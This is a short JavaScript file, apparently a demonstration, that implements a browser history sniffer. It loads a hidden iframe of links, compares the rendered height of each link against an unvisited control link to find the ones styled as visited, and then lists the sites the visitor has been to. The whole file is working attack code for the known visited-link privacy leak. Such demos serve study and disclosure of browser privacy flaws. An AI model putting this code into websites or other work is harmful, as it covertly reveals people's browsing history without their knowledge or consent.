// Created by David 'Canazza' McQuillan
// www.canazza.co.uk

//get the document element of an iframe
if(!extractIFrameBody) { var extractIFrameBody = function(iframe) {	return (iframe.contentWindow.document) }}

//Cross browser attachEvent function
function attachEvent(obj,evt,ret) {
	if(obj.addEventListener) { //DOM Complient Browsers
		obj.addEventListener(evt,ret,false); 
	} else { //Internet Explorer
		obj.attachEvent("on"+evt,ret);
	}
}
//Output console
var console = document.createElement("div");
console.log = function(str) {
	var el = document.createElement("div")	
	el.innerHTML = str;
	this.appendChild(el)
}

function HistorySniffer() { //History Sniffer Object
	this.linkFrame = document.createElement("iframe"); //Create ourselves an iFrame
	this.linkFrame.style.display = "none"; //Hide the iFrame
	this.linkFrame.src = "list.html"; //Load up our HTML Page with the list of urls.
	document.body.appendChild(this.linkFrame); //Add the iFrame to the page
	var t = this //for some fun anonymous function jiggery pokery
	attachEvent(this.linkFrame,"load",function(e) { if(!e) var e = window.event;t.begin(e); });
}

//Once the Sniffer's iFrame has loaded, we can begin sniffing
HistorySniffer.prototype.begin = function(e) {
	if(!e) var e = window.event;
	this.linkFrame.style.display = "inline"; //To get the offsetHeight, we need to temporarilly display the iFrame.
	//This should complete before the next render cycle so it won't show up
	var links = extractIFrameBody(this.linkFrame).getElementsByTagName("a") //get all link tags from the iframe
	var control = null //we start with an empty control value
	for(var i = 0; i < links.length; i++) { 
		if(!control) { //the first link will be the control link, to tell us the offset value for an UNVISITED link
			control = links[i].offsetHeight
			continue;
		}
		if(control != links[i].offsetHeight) { //if the offsetHeight is different, bosh! We have a hit!
			console.log("You have been to " + links[i].href);	
		} 
		
	}
	this.linkFrame.style.display = "none"; //hide the iFrame
	this.linkFrame.parentNode.removeChild(this.linkFrame) //remove it from the document
}

function startSniffing() {
	new HistorySniffer()	
	document.body.appendChild(console)
}